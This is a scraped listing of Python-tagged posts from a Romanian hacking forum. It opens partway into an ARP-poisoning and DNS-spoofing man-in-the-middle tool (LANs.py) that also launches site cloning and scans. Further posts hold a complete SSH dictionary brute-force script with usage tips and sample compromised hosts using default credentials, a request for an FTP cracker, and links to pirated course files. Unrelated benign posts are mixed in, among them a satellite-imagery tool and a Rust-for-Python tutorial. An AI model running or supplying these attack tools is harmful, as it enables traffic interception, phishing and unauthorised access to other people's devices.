21,26,80,110,143,6667 -j NFQUEUE' % victimIP) # To catch DNS packets you gotta do prerouting rather than forward for some reason? os.system('/sbin/iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') # Start threads def threads(args): rt = Thread(target=reactor.run, args=(False,)) #reactor must be started without signal handling since it's not in the main thread rt.daemon = True rt.start() if args.driftnet: dr = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/driftnet -i '+interface+' >/dev/null 2>&1',)) dr.daemon = True dr.start() if args.dnsspoof and not args.setoolkit: setoolkit = raw_input('[*] You are DNS spoofing '+args.dnsspoof+', would you like to start the Social Engineer\'s Toolkit for easy exploitation? [y/n]: ') if setoolkit == 'y': print '[*] Starting SEtoolkit. To clone '+args.dnsspoof+' hit options 1, 2, 3, 2, then enter '+args.dnsspoof try: se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',)) se.daemon = True se.start() except Exception: print '[-] Could not open SEToolkit, is it installed? Continuing as normal without it.' if args.nmapaggressive: print '[*] Starting '+R+'aggressive scan [nmap -e '+interface+' -T4 -A -v -Pn -oN '+victimIP+']'+W+' in background; results will be in a file '+victimIP+'.nmap.txt' try: n = Thread(target=os.system, args=('nmap -e '+interface+' -T4 -A -v -Pn -oN '+victimIP+'.nmap.txt '+victimIP+' >/dev/null 2>&1',)) n.daemon = True n.start() except Exception: print '[-] Aggressive Nmap scan failed, is nmap installed?' if args.setoolkit: print '[*] Starting SEtoolkit' try: se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',)) se.daemon = True se.start() except Exception: print '[-] Could not open SEToolkit, continuing without it.' def pcap_handler(args): global victimIP bad_args = [args.dnsspoof, args.beef, args.code, args.nmap, args.nmapaggressive, args.driftnet, args.interface] for x in bad_args: if x: sys.exit('[-] When reading from pcap file you may only include the following arguments: -v, -u, -p, -pcap [pcap filename], and -ip [victim IP address]') if args.pcap: if args.ipaddress: victimIP = args.ipaddress pcap = rdpcap(args.pcap) for payload in pcap: Parser(args).start(payload) sys.exit('[-] Finished parsing pcap file') else: sys.exit('[-] Please include the following arguement when reading from a pcap file: -ip [target\'s IP address]') else: sys.exit('[-] When reading from pcap file you may only include the following arguments: -v, -u, -p, -pcap [pcap filename], and -ip [victim IP address]') # Main loop def main(args): global victimIP, interface if args.pcap: pcap_handler(args) sys.exit('[-] Finished parsing pcap file') #Check if root if not geteuid()==0: exit("\nPlease run as root\n") #Find the gateway and interface ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN) ipr = ipr.communicate()[0] iprs = ipr.split('\n') ipr = ipr.split() if args.routerip: routerIP = args.routerip else: routerIP = ipr[2] for r in iprs: if '/' in r: IPprefix = r.split()[0] if args.interface: interface = args.interface else: interface = ipr[4] if 'eth' in interface or 'p3p' in interface: exit('[-] Wired interface found as default route, please connect wirelessly and retry or specify the active interface with the -i [interface] option. See active interfaces with [ip addr] or [ifconfig].') if args.ipaddress: victimIP = args.ipaddress else: au = active_users() au.users(IPprefix, routerIP) print '\n[*] Turning off monitor mode' os.system('/usr/sbin/airmon-ng stop %s >/dev/null 2>&1' % au.monmode) try: victimIP = raw_input('[*] Enter the non-router IP to spoof: ') except KeyboardInterrupt: exit('\n[-] Quitting') print "[*] Checking the DHCP and DNS server addresses..." # DHCP is a pain in the ass to craft dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/ IP(src="0.0.0.0",dst="255.255.255.255")/ UDP(sport=68,dport=67)/ BOOTP(chaddr='E3:2E:F4:DD:8R:9A')/ DHCP(options=[("message-type","discover"), ("param_req_list", chr(DHCPRevOptions["router"][0]), chr(DHCPRevOptions["domain"][0]), chr(DHCPRevOptions["server_id"][0]), chr(DHCPRevOptions["name_server"][0]), ), "end"])) ans, unans = srp(dhcp, timeout=5, retry=1) if ans: for s,r in ans: DHCPopt = r[0][DHCP].options DHCPsrvr = r[0][iP].src for x in DHCPopt: if 'domain' in x: local_domain = x[1] pass else: local_domain = 'None' if 'name_server' in x: dnsIP = x[1] else: print "[-] No answer to DHCP packet sent to find the DNS server. Setting DNS and DHCP server to router IP." dnsIP = routerIP DHCPsrvr = routerIP local_domain = 'None' # Print the vars print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP) if args.routermac: routerMAC = args.routermac print "[*] Router MAC: " + routerMAC logger.write("[*] Router MAC: "+routerMAC+'\n') else: try: routerMAC = Spoof().originalMAC(routerIP) print "[*] Router MAC: " + routerMAC logger.write("[*] Router MAC: "+routerMAC+'\n') except Exception: try: print "[-] Router did not respond to ARP request for MAC, attempting to pull the MAC from the ARP cache" arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN) split_lines = arpcache.communicate()[0].splitlines() arpoutput = split_lines[1].split() routerMAC = arpoutput[2] print "[*] Router MAC: " + routerMAC logger.write("[*] Router MAC: "+routerMAC+'\n') except Exception: sys.exit("[-] [arp -n] failed to give accurate router MAC address") if args.victimmac: victimMAC = args.victimmac print "[*] Victim MAC: " + victimMAC logger.write("[*] Victim MAC: "+victimMAC+'\n') else: try: victimMAC = Spoof().originalMAC(victimIP) print "[*] Victim MAC: " + victimMAC logger.write("[*] Victim MAC: "+victimMAC+'\n') except Exception: exit("[-] Could not get victim MAC address; try the -vmac [xx:xx:xx:xx:xx:xx] option if you know the victim's MAC address") if dnsIP != routerIP: try: dnsMAC = Spoof().originalMAC(dnsIP) print "[*] DNS server MAC: " + dnsMAC except Exception: print "[-] Could not get DNS server MAC address; continuing" if dnsIP == routerIP: dnsMAC = routerMAC setup(victimMAC) Queued(args) threads(args) if args.nmap: print "\n[*] Running [nmap -T4 -O "+victimIP+"] this may take several minutes..." try: nmap = Popen(['/usr/bin/nmap', '-T4', '-O', '-e', interface, victimIP], stdout=PIPE, stderr=DN) nmap.wait() nmap = nmap.communicate()[0].splitlines() for x in nmap: if x != '': print '[+]',x logger.write('[+] '+x+'\n') except Exception: print '[-] Nmap port and OS scan failed, is it installed?' print '' # Cleans up if Ctrl-C is caught def signal_handler(signal, frame): print 'learing iptables, sending healing packets, and turning off IP forwarding...' logger.close() open('/proc/sys/net/ipv4/ip_forward', 'w').write('0\n') if not dnsIP == routerIP and dnsMAC: Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC) Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC) os.system('/sbin/iptables -F') os.system('/sbin/iptables -X') os.system('/sbin/iptables -t nat -F') os.system('/sbin/iptables -t nat -X') Spoof().restore(routerIP, victimIP, routerMAC, victimMAC) Spoof().restore(routerIP, victimIP, routerMAC, victimMAC) exit(0) signal.signal(signal.SIGINT, signal_handler) while 1: # If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router if not dnsIP == routerIP and dnsMAC: Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC) Spoof().poison(routerIP, victimIP, routerMAC, victimMAC) time.sleep(1.5) if __name__ == "__main__": main(parse_args()) Source: https://github.com/DanMcInerney/LANs.py
-
- arp poisoning
- arp spoofer
-
(and 2 more)
Tagged with:
-
NitroFlare links for Python programming - training #3
WarLord posted a topic in Tutoriale in engleza
https://nitro.download/view/218D09D3DA26FF8/CA.PYTHON.FOR.BEGINNERS.22.2.part1.rar https://nitro.download/view/78C3D4BF0DFD09B/CA.PYTHON.FOR.BEGINNERS.22.2.part2.rar https://nitro.download/view/F7C4CB81DEF6109/CA.PYTHON.FOR.BEGINNERS.22.2.part3.rar https://nitro.download/view/D8C8CB1F28EDDD2/dsvwc.Learn.Complete.Python3.GUI.using.Tkinter.part1.rar https://nitro.download/view/1CAECD1D3A66DA0/dsvwc.Learn.Complete.Python3.GUI.using.Tkinter.part2.rar https://nitro.download/view/9BA674419AF6DFB/dsvwc.Learn.Complete.Python3.GUI.using.Tkinter.part3.rar https://nitro.download/view/354200A91CF53D7/E6WmUCHy__Learning_Python_Made_Easy.rar https://nitro.download/view/30B4D2D03EAE55E/F730hMoz_.PythonSkil.rar https://nitro.download/view/F9CB5731E8C754E/FuXfpb9X__pythonpand.rar https://nitro.download/view/DEF43A3DB3AEB97/hd3og.Python.Automation.Automate.Mundane.Tasks.with.Python.rar https://nitro.download/view/E33E5A1C0FE3E2D/Just_enough_Python_Programming_for_Beginners.part1.rar https://nitro.download/view/34EEBF8B257B765/Just_enough_Python_Programming_for_Beginners.part2.rar https://nitro.download/view/F02921EC9B64A56/Just_enough_Python_Programming_for_Beginners.part3.rar https://nitro.download/view/5F159C664DA43BB/Just_enough_Python_Programming_for_Beginners.part4.rar https://nitro.download/view/1C6A78C0270ECD6/khqcb.Learn.to.Code.with.Python.Updated.part1.rar https://nitro.download/view/F1611D21AF9A0A3/khqcb.Learn.to.Code.with.Python.Updated.part2.rar https://nitro.download/view/43BA53B1D30355C/khqcb.Learn.to.Code.with.Python.Updated.part3.rar https://nitro.download/view/B64C83C263E7965/khqcb.Learn.to.Code.with.Python.Updated.part4.rar https://nitro.download/view/90ED2122B5FCF99/khqcb.Learn.to.Code.with.Python.Updated.part5.rar https://nitro.download/view/2CCF3DC2318053D/Project-Based_Python_Programming_For_Kids_and_Beginners__Video_.rar https://nitro.download/view/8BDAA74045FC933/Python_A-Z_Learn_Python_Programming_By_Building_Projects.rar https://nitro.download/view/EEC35E3D0DA6AF1/Python_Programming_in_5_Hours.part1.rar https://nitro.download/view/1A501131E2FF856/Python_Programming_in_5_Hours.part2.rar https://nitro.download/view/42A1DA16DDCB604/rxc50.Unit.Testing.in.Python.rar https://nitro.download/view/D834009BDD88B70/XumTDwh9__Python__Ba.rar https://nitro.download/view/65B03CCE82CE19E/Python_Programming_in_5_Hours.part3.rar-
- 1
-
-
- hacking
- ethical hacking
-
(and 3 more)
Tagged with:
-
Salutare, as vrea sa gasesc pe cineva care se pricepe la Javascript si Python sa preia de la mine 2 proiecte. Beneficiarul plateste 30 euro / ora pentru programare si 10 euro / ora pentru restul (convorbiri, documentatie, etc). Proiectele sunt functionale dar necesita mentenanta si imbunatatiri, plus ca beneficiarul nu se pricepe la linux. Deci totul trebuie explicat cu rabdare. Multam mihk
-
Who should use this tool? TL;DR: Generate JPEG earth imagery from coordinates/location name with publicly available satellite data. This tool is for a sentient being who wants to view high-res satellite imagery of earth, without digging through all the nitty gritty geospatial details of it. So if this is your first time trying to explore how parts of the Earth look from space, you're at the right place. NB: felicette at the present state searches for cloud-cover < 10%, and doesn't constrain results on the basis of dates. One can see Product Roadmap for upcoming features. Installation felicette depends on GDAL. But the following steps cover GDAL's installation as well. rio-color uses numpy headers to setup, thus installing numpy and GDAL=={ogrinfo --version} would be sufficient before installing felicette. Debian $ sudo add-apt-repository ppa:ubuntugis/ppa $ sudo apt-get update $ sudo apt-get install python-numpy gdal-bin libgdal-dev $ gdal-config --version <version-number> * activate virtual environment * $ pip install numpy GDAL==<version-number> $ pip install felicette MacOS $ brew install gdal $ gdal-config --version <version-number> * activate virtual environment * $ pip install numpy GDAL==<version-number> $ pip install felicette Docker As pointed out here, the following docker image works and is volume-mapped to the present working directory. Thanks @milhouse1337 for the docker-image. rio-color, one of the felicette's dependencies isn't available on conda ecosystem yet. Here's the link to a small discussion on an installation-issue. This section would be updated when there is a stable version of felicette for Windows. Felicette has plans to build in-house RGB image enhancement algorithms or use imagemagick /[similar tools on conda-forge] for a Windows release, at least until rio-color is available on conda-forge/conda. Usage To use it: $ felicette --help Usage: felicette [OPTIONS] Satellite imagery for dummies. Options: -c, --coordinates FLOAT... Coordinates in (lon, lat) format. This overrides -l command -l, --location-name TEXT Location name in string format -p, --pan-enhancement Enhance image with panchromatic band -pre, --preview-image Preview pre-processed low resolution RGB satellite image. -v, --vegetation Show Color Infrared image to highlight vegetation --help Show this message and exit. Felicette can download and process Landsat images taking the location's input as (lon, lat) or the location name. They can be used in the following way. With location name: $ felicette -l "Kanyakumari" With coordinates: $ felicette -c 77.5385 8.0883 -p option uses the panchromatic band to enhance image's resolution to 15 meters, contrary to resolution of RGB bands(30 meters). To get a better image using felicette use: $ felicette -p -c 77.5385 8.0883 -pre option downloads a low-res image for preview, to check if the image is worth your computation, Network I/O. $ felicette -pre -p -c 77.5385 8.0883 -v option generates a CIR image to highlight vegetation in 'red' color. Note that, '-p' option isn't taken into consideration while generating CIR imagery in felicette. $ felicette -pre -v -l "Kanyakumari" History Félicette was the first cat launched into space, on 18 October 1963. Even though she landed back on earth safely, Félicette was euthanized two months after the launch so that scientists could perform a necropsy to examine her brain. She was the only cat to have survived spaceflight. Here's a footage of the mission from the archives. When you get a satellite imagery using this tool, imagine Félicette took the picture for you : Preview and examples Here are some more sample images generated by felicette. Here is a link to the original images generated with RGB, CIR options. Following is a recording of the terminal session recording usage of felicette. https://asciinema.org/a/349495 Source
-
- 4
-
-
-
- satellite-data
- python
-
(and 2 more)
Tagged with:
-
The reticulate package provides a comprehensive set of tools for interoperability between Python and R. With reticulate, you can call Python from R in a variety of ways including importing Python modules into R scripts, writing R Markdown Python chunks, sourcing Python scripts, and using Python interactively within the RStudio IDE. This cheatsheet will remind you how. Updated March 19. Download: reticulate.pdf (3.92 MB) Source
-
Salut, Este cineva dispus sa imi construiasca un ftp cracker destept si eficient? Cu plata pe masura desigur.
-
Hei, Am cunostinte destul de avansate in programare in limbaje precum C#, JS, TS si python, am 16 ani si pana acum am avut doar proiecte personale (nelegate de securitate), am facut freelancing pe upwork cam o saptamana in care am facut 25 $, m-am oprit deoarece imi cer o verificare de identitate. As dori sa gasesc o modalitate de a-mi creste veniturile regulat, nu mult, si 5$ pe saptamana e bine. Am gasit ceva despre webscraping dar m-am blocat nestiind unde trebuie sa gasesc clienti si date. Ati reusit sa va asigurati un venit regulat folosing aceasta metoda? V-as ruga sa imi sugerati si alte metode de a face bani folosind programare.
- 4 replies
-
- web scraping
- web scraper
-
(and 1 more)
Tagged with:
-
Urmatorul script este un dictionary attack tool pentru SSH scris in Python. import paramiko, sys, Queue, threading class SSHBrute(threading.Thread): def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): while True: ip,user,passwd = self.queue.get() self.kraken(ip,user,passwd) self.queue.task_done() def kraken(self,ip,user,passwd): try: if ip in cracked: return False if '%user%' in str(passwd): passwd = passwd.split("%")[0] + user + passwd.split("%")[2] if '%User%' in str(passwd): pwd = user + passwd.split("%")[2] passwd = passwd.split("%")[0]+pwd.title() if str(passwd) == '%null%': passwd = '' ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ip, username=user, password=passwd, timeout=35) raw.write(ip+' '+user+' '+passwd+'\n') raw.flush() chan = ssh.get_transport().open_session() chan.settimeout(35) chan.exec_command('uname -a') data = chan.recv(1024) if len(data) == 0: nologs.write(ip+' '+user+' '+passwd+'\n') nologs.flush() return False val.write(ip+' '+user+' '+passwd+'|'+data.rstrip()+'\n') val.flush() cracked.append(ip) chan.close() ssh.close() return True except Exception, e: if 'uthent' in str(e): if dbg == 'bad': bad.write(ip+'\n') bad.flush() #print '\r[+]Tried '+ip+' '+user+' '+passwd+' ' ssh.close() return False #print ip, str(e) ssh.close() return False def brutemain(): if len(sys.argv) < 2: print """ SSH Brute Force Tool Author: @Elohim [RST] Usage: bruter ThreadNumber IpFile UserFile PassFile FilterSwitch* *The filter Switch Takes Either the word "bad" or "no". If you supply the word bad, it filters in bad.txt only the ips which indeed support ssh AUTH and password didn't work""" return False ThreadNR = int(sys.argv[1]) queue = Queue.Queue(maxsize=20000) try: i = 0 for i in range(ThreadNR): t = SSHBrute(queue) t.daemon = True t.start() i += 1 except Exception, e: print 'Cant start more than',i,'Threads!' global bad global val global nologs global cracked global raw cracked = [] bad = open('bad.txt','w') val = open('valid.txt','a') nologs = open('nologins.txt','a') raw = open('raw.txt','a') with open(str(sys.argv[2]),'rU') as ipf: ips = ipf.read().splitlines() with open(str(sys.argv[3]),'rU') as uf: users = uf.read().splitlines() with open(str(sys.argv[4]),'rU') as pf: passwords = pf.read().splitlines() global dbg dbg = str(sys.argv[5]) try: for password in passwords: for user in users: for ip in ips: queue.put((ip,user,password)) except: pass queue.join() if __name__ == "__main__": brutemain() Am dat un mic exemplu despre usage daca il porniti fara argumente. Va sfatuiesc sa trecei odata prin ip-uri cu un singur user si o parola, si argumentul bad, pentru a ramane doar cu ip-urile care accepta logarea prin SSH. Apoi va luati ip-urile din bad.txt si le folositi doar pe ele. Face 3 fisiere: raw.txt nologin.txt si valid.txt In raw.txt o sa fie puse toate, si cele care au *sh disabled, si cele care se logheaza normal. In nologin.txt o sa fie puse doar cele care suporta un ssh transport,sau nu au niciun fel de shell activ, iar in valid.txt cele care au shell activ, si li se va adauga si banner-ul ( uname -a ) exemplu de valid.txt: 68.170.**.24 ubnt ubnt|Linux Ubiquiti 2.6.32.54 #1 Thu Aug 16 13:41:25 EEST 2012 mips unknown 68.117.**.194 ubnt ubnt|Linux Ubiquiti 2.6.15-5.2 #1 Mon Dec 19 20:46:46 EET 2011 mips unknown 68.13.**.45 ubnt ubnt|Linux Ubiquiti 2.6.15-5.2 #1 Mon Dec 19 20:46:46 EET 2011 mips unknown 68.170.**.64 ubnt ubnt|Linux AirRouter 2.6.32.54 #1 Fri Mar 8 10:15:49 EET 2013 mips unknown Daca vreti sa fie verbose, si sa vedeti ce se intampla, scoate comment-urile de la print . Va trebuie paramiko, dar cine chiar vrea sa il foloseasca o sa se descurce si singur. Acesta e unu din motivele pentru care nu l-am compilat nici pt win nici pt linux. Astept pareri si posibile imbunatatiri. Nu mai dati bani pe asa zisele "scannere" sau "arhive" private.
- 54 replies
-
- 4
-
-
-
- python
- ssh bruter
-
(and 1 more)
Tagged with:
-
Acum totul e corect politic @MrGrj Python joins movement to dump 'offensive' master, slave terms Python creator Guido van Rossum retired as "benevolent dictator for life" in July, but like Michael Corleone in The Godfather III, he's been pulled back in to resolve a debate about politically incorrect language. Like other open source communities, Python's minders have been asked whether they really want to continue using … Sursa: https://forums.theregister.co.uk/forum/6/2018/09/11/python_purges_master_and_slave_in_political_pogrom/#c_3610915 A quiet debate has developed for years in the coding community, forcing programmers to ask whether the terms "master" and "slave" are not insensitive. Now Python, one of the world's most popular programming languages, has abandoned the terminology – and not everyone is happy with it. Master / Slave is generally used in hardware, architecture and coding to refer to a device, database or process that controls another. For more than a decade, there has been some concern that the terms are offensive because of their relationship to the institution of slavery. Last week, a developer named Victo Stinner published four pull requests asking the Python community to consider changing the terms Master / Slave with something like Parent / Worker. "For reasons of diversity, it would be nice to try to avoid the" master "and" slave "terminology that can be associated with slavery," he wrote to explain his thinking. This is the internet, so people have opinions. Some people did not agree with the proposal in measured terms and simply did not think it was necessary. Others have launched on anti-diversity screeds and are predictably talking about censorship and mental control. "Seeing all the PC / SJW absurdities around me, I'm afraid this may be the beginning of Python becoming PCython," wrote a developer. Another commentator decided to take things literally, saying: "As far as I can [ sic ] I say that there is not a single instance where documents use" master "as a reference to human slavery or where use could be seen implicating an endorsement of that notion. " Someone else claimed that the terms are indeed positive in the BDSM community. "You want to support diversity, so why are you discriminating against that subculture?" They asked. And, of course, Reddit turned into a cesspool while the users watched it all go down. It was all enough to involve Guido van Rossum, the creator of Python. Van Rossum officially retired in July, leaving the community to defend itself when it comes to governance, but the quarrels have pulled it back to lay the law. "I'm closing this now," he wrote. His final decision was to accept three of Stinner's four requests. In his view, "the fourth should not be united because it reflects the underlying terminology of UNIX ptys". So you decide that Python 3.8 will change the term "slave" to "worker" or "helper" and "master process" to "parent process". Python was named the most popular programming language in the IEEE Spectrum world in the past year, so this change is great for the programming community. Following is the guide by Drupal and Django. If you think this is just another symptom of a desire out of control of being politically correct or not, it's just a fact that languages change over time. Programmers should know it better than anyone else. Sursa: https://aus.remonews.com/python-programming-language-ditches-master-slave-terms-pissing-off-some/ Fi-r-ar! Cum traducea Irina Margareta Nistor tot: "la naiba!"
-
Citeam articolul de pe wikipedia despre Markov Chain (Link) si am spus sa incerc sa il implementez repede in Python. Link catre script. Am sa pun si un asciinema cand am timp ca imi face niste mofturi acum si nu am timp sa il rezolv. Aici e 'algoritmul' : * It eats exactly once a day. * If it ate cheese today, tomorrow it will eat lettuce or grapes with equal probability. * If it ate grapes today, tomorrow it will eat grapes with probability 1/10, cheese with probability 4/10 and lettuce with probability 5/10. * If it ate lettuce today, tomorrow it will eat grapes with probability 4/10 or cheese with probability 6/10. It will not eat lettuce again tomorrow. EDIT: Link catre 'demonstratie' https://asciinema.org/a/sKiuIfAeoaelS1zotA5TOt6zZ
-
Primul program facut in "domeniul" machine learning. Sunt niste cerculete care evolueaza sa treaca peste un obstacol si sa ajunga la un target. Link Video link
- 4 replies
-
- 5
-
-
- python
- genetic algorithm
-
(and 2 more)
Tagged with:
-
What is Rust? Rust is a systems programming language that runs blazingly fast, prevents segfaults, and guarantees thread safety. Featuring zero-cost abstractions move semantics guaranteed memory safety threads without data races trait-based generics pattern matching type inference minimal runtime efficient C bindings Description is taken from rust-lang.org. Why does it matter for a Python developer? The better description of Rust I heard from Elias (a member of the Rust Brazil Telegram Group). There is a bunch of Rust packages out there to help you extending Python with Rust. I can mention Milksnake created by Armin Ronacher (the creator of Flask) and also PyO3 The Rust bindings for Python interpreter. See a complete reference list at the bottom of this article. Let’s see it in action For this post, I am going to use Rust Cpython, it’s the only one I have tested, it is compatible with stable version of Rust and found it straightforward to use. Pros: It is easy to write Rust functions and import from Python and as you will see by the benchmarks it worth in terms of performance. Cons: The distribution of your project/lib/framework will demand the Rust module to be compiled on the target system because of variation of environment and architecture, there will be a compiling stage which you don’t have when installing Pure Python libraries, you can make it easier using rust-setuptools or using the MilkSnake to embed binary data in Python Wheels. Python is sometimes slow Yes, Python is known for being “slow” in some cases and the good news is that this doesn’t really matter depending on your project goals and priorities. For most projects, this detail will not be very important. However, you may face the rare case where a single function or module is taking too much time and is detected as the bottleneck of your project performance, often happens with string parsing and image processing. Example Let’s say you have a Python function which does a string processing, take the following easy example of counting pairs of repeated chars, but have in mind that this example can be reproduced with other string processing functions or any other generally slow process in Python. # How many subsequent-repeated group of chars are in the given string? abCCdeFFghiJJklmnopqRRstuVVxyZZ... {millions of chars here} 1 2 3 4 5 6 Python is slow for doing large string processing, so you can use pytest-benchmark to compare a Pure Python (with Iterator Zipping) function versus a Regexp implementation. # Using a Python3.6 environment $ pip3 install pytest pytest-benchmark Then write a new Python program called doubles.py import re import string import random # Python ZIP version def count_doubles(val): total = 0 # there is an improved version later on this post for c1, c2 in zip(val, val[1:]): if c1 == c2: total += 1 return total # Python REGEXP version double_re = re.compile(r'(?=(.)\1)') def count_doubles_regex(val): return len(double_re.findall(val)) # Benchmark it # generate 1M of random letters to test it val = ''.join(random.choice(string.ascii_letters) for i in range(1000000)) def test_pure_python(benchmark): benchmark(count_doubles, val) def test_regex(benchmark): benchmark(count_doubles_regex, val) Run pytest to compare: $ pytest doubles.py ============================================================================= platform linux -- Python 3.6.0, pytest-3.2.3, py-1.4.34, pluggy-0.4. benchmark: 3.1.1 (defaults: timer=time.perf_counter disable_gc=False min_roun rootdir: /Projects/rustpy, inifile: plugins: benchmark-3.1.1 collected 2 items doubles.py .. ----------------------------------------------------------------------------- Name (time in ms) Min Max Mean ----------------------------------------------------------------------------- test_regex 24.6824 (1.0) 32.3960 (1.0) 27.0167 (1.0) test_pure_python 51.4964 (2.09) 62.5680 (1.93) 52.8334 (1.96) ----------------------------------------------------------------------------- Lets take the Mean for comparison: Regexp – 27.0167 <– less is better Python Zip – 52.8334 Extending Python with Rust Create a new crate crate is how we call Rust Packages. Having rust installed (recommended way is Rust is https://www.rustup.rs/ )also available on Fedora and RHEL repositories by the rust-toolset I used rustc 1.21.0 In the same folder run: cargo new pyext-myrustlib It creates a new Rust project in that same folder called pyext-myrustlib containing the Cargo.toml (cargo is the Rust package manager) and also a src/lib.rs (where we write our library implementation). Edit Cargo.toml It will use the rust-cpython crate as dependency and tell cargo to generate a dylib to be imported from Python. [package] name = "pyext-myrustlib" version = "0.1.0" authors = ["Bruno Rocha <rochacbruno@gmail.com>"] [lib] name = "myrustlib" crate-type = ["dylib"] [dependencies.cpython] version = "0.1" features = ["extension-module"] Edit src/lib.rs What we need to do: Import all macros from cpython crate. Take Python and PyResult types from CPython into our lib scope. Write the count_doubles function implementation in Rust, note that this is very similar to the Pure Python version except for: It takes a Python as first argument, which is a reference to the Python Interpreter and allows Rust to use the Python GIL. Receives a &str typed val as reference. Returns a PyResult which is a type that allows the rise of Python exceptions. Returns an PyResult object in Ok(total) (Result is an enum type that represents either success (Ok) or failure (Err)) and as our function is expected to return a PyResult the compiler will take care of wrapping our Ok on that type. (note that our PyResult expects a u64 as return value). Using py_module_initializer! macro we register new attributes to the lib, including the __doc__ and also we add the count_doubles attribute referencing our Rust implementation of the function. Attention to the names libmyrustlib, initlibmyrustlib, and PyInit. We also use the try! macro, which is the equivalent to Python’stry.. except. Return Ok(()) – The () is an empty result tuple, the equivalent of None in Python. #[macro_use] extern crate cpython; use cpython::{Python, PyResult}; fn count_doubles(_py: Python, val: &str) -> PyResult<u64> { let mut total = 0u64; // There is an improved version later on this post for (c1, c2) in val.chars().zip(val.chars().skip(1)) { if c1 == c2 { total += 1; } } Ok(total) } py_module_initializer!(libmyrustlib, initlibmyrustlib, PyInit_myrustlib, |py, m | { try!(m.add(py, "__doc__", "This module is implemented in Rust")); try!(m.add(py, "count_doubles", py_fn!(py, count_doubles(val: &str)))); Ok(()) }); Now let’s build it with cargo $ cargo build --release Finished release [optimized] target(s) in 0.0 secs $ ls -la target/release/libmyrustlib* target/release/libmyrustlib.d target/release/libmyrustlib.so* <-- Our dylib is here Now let’s copy the generated .so lib to the same folder where our doubles.py is located. NOTE: on Fedora you must get a .so in other system you may get a .dylib and you can rename it changing extension to .so. $ cd .. $ ls doubles.py pyext-myrustlib/ $ cp pyext-myrustlib/target/release/libmyrustlib.so myrustlib.so $ ls doubles.py myrustlib.so pyext-myrustlib/ Having the myrustlib.so in the same folder or added to your Python path allows it to be directly imported, transparently as it was a Python module. Importing from Python and comparing the results Edit your doubles.py now importing our Rust implemented version and adding a benchmark for it. import re import string import random import myrustlib # <-- Import the Rust implemented module (myrustlib.so) def count_doubles(val): """Count repeated pair of chars ins a string""" total = 0 for c1, c2 in zip(val, val[1:]): if c1 == c2: total += 1 return total double_re = re.compile(r'(?=(.)\1)') def count_doubles_regex(val): return len(double_re.findall(val)) val = ''.join(random.choice(string.ascii_letters) for i in range(1000000)) def test_pure_python(benchmark): benchmark(count_doubles, val) def test_regex(benchmark): benchmark(count_doubles_regex, val) def test_rust(benchmark): # <-- Benchmark the Rust version benchmark(myrustlib.count_doubles, val) Benchmark $ pytest doubles.py ============================================================================== platform linux -- Python 3.6.0, pytest-3.2.3, py-1.4.34, pluggy-0.4. benchmark: 3.1.1 (defaults: timer=time.perf_counter disable_gc=False min_round rootdir: /Projects/rustpy, inifile: plugins: benchmark-3.1.1 collected 3 items doubles.py ... ----------------------------------------------------------------------------- Name (time in ms) Min Max Mean ----------------------------------------------------------------------------- test_rust 2.5555 (1.0) 2.9296 (1.0) 2.6085 (1.0) test_regex 25.6049 (10.02) 27.2190 (9.29) 25.8876 (9.92) test_pure_python 52.9428 (20.72) 56.3666 (19.24) 53.9732 (20.69) ----------------------------------------------------------------------------- Lets take the Mean for comparison: Rust – 2.6085 <– less is better Regexp – 25.8876 Python Zip – 53.9732 Rust implementation can be 10x faster than Python Regex and 21x faster than Pure Python Version. Interesting that Regex version is only 2x faster than Pure Python 🙂 NOTE: That numbers makes sense only for this particular scenario, for other cases that comparison may be different. Updates and Improvements After this article has been published I got some comments on r/python and also on r/rust The contributions came as Pull Requests and you can send a new if you think the functions can be improved. Thanks to: Josh Stone we got a better implementation for Rust which iterates the string only once and also the Python equivalent. Thanks to: Purple Pixie we got a Python implementation using itertools, however this version is not performing any better and still needs improvements. Iterating only once fn count_doubles_once(_py: Python, val: &str) -> PyResult<u64> { let mut total = 0u64; let mut chars = val.chars(); if let Some(mut c1) = chars.next() { for c2 in chars { if c1 == c2 { total += 1; } c1 = c2; } } Ok(total) } def count_doubles_once(val): total = 0 chars = iter(val) c1 = next(chars) for c2 in chars: if c1 == c2: total += 1 c1 = c2 return total Python with itertools import itertools def count_doubles_itertools(val): c1s, c2s = itertools.tee(val) next(c2s, None) total = 0 for c1, c2 in zip(c1s, c2s): if c1 == c2: total += 1 return total New Results ------------------------------------------------------------------------------- Name (time in ms) Min Max Mean ------------------------------------------------------------------------------- test_rust_once 1.0072 (1.0) 1.7659 (1.0) 1.1268 (1.0) test_rust 2.6228 (2.60) 4.5545 (2.58) 2.9367 (2.61) test_regex 26.0261 (25.84) 32.5899 (18.45) 27.2677 (24.20) test_pure_python_once 38.2015 (37.93) 43.9625 (24.90) 39.5838 (35.13) test_pure_python 52.4487 (52.07) 59.4220 (33.65) 54.8916 (48.71) test_itertools 58.5658 (58.15) 66.0683 (37.41) 60.8705 (54.02) ------------------------------------------------------------------------------- The new Rust implementation is 3x better than the old, but the python-itertools version is even slower than the pure python After adding the improvements to iterate the list of chars only once, Rust still has advantage from 1.1268 to 39.583 Conclusion Rust may not be yet the general purpose language of choice by its level of complexity and may not be the better choice yet to write common simple applications such as web sites and test automation scripts. However, for specific parts of the project where Python is known to be the bottleneck and your natural choice would be implementing a C/C++ extension, writing this extension in Rust seems easy and better to maintain. There are still many improvements to come in Rust and lots of others crates to offer Python <--> Rust integration. Even if you are not including the language in your tool belt right now, it is really worth to keep an eye open to the future! References The code snippets for the examples showed here are available in GitHub repo: https://github.com/rochacbruno/rust-python-example. The examples in this publication are inspired by Extending Python with Rust talk by Samuel Cormier-Iijima in Pycon Canada. video here: Also by My Python is a little Rust-y by Dan Callahan in Pycon Montreal. video here: 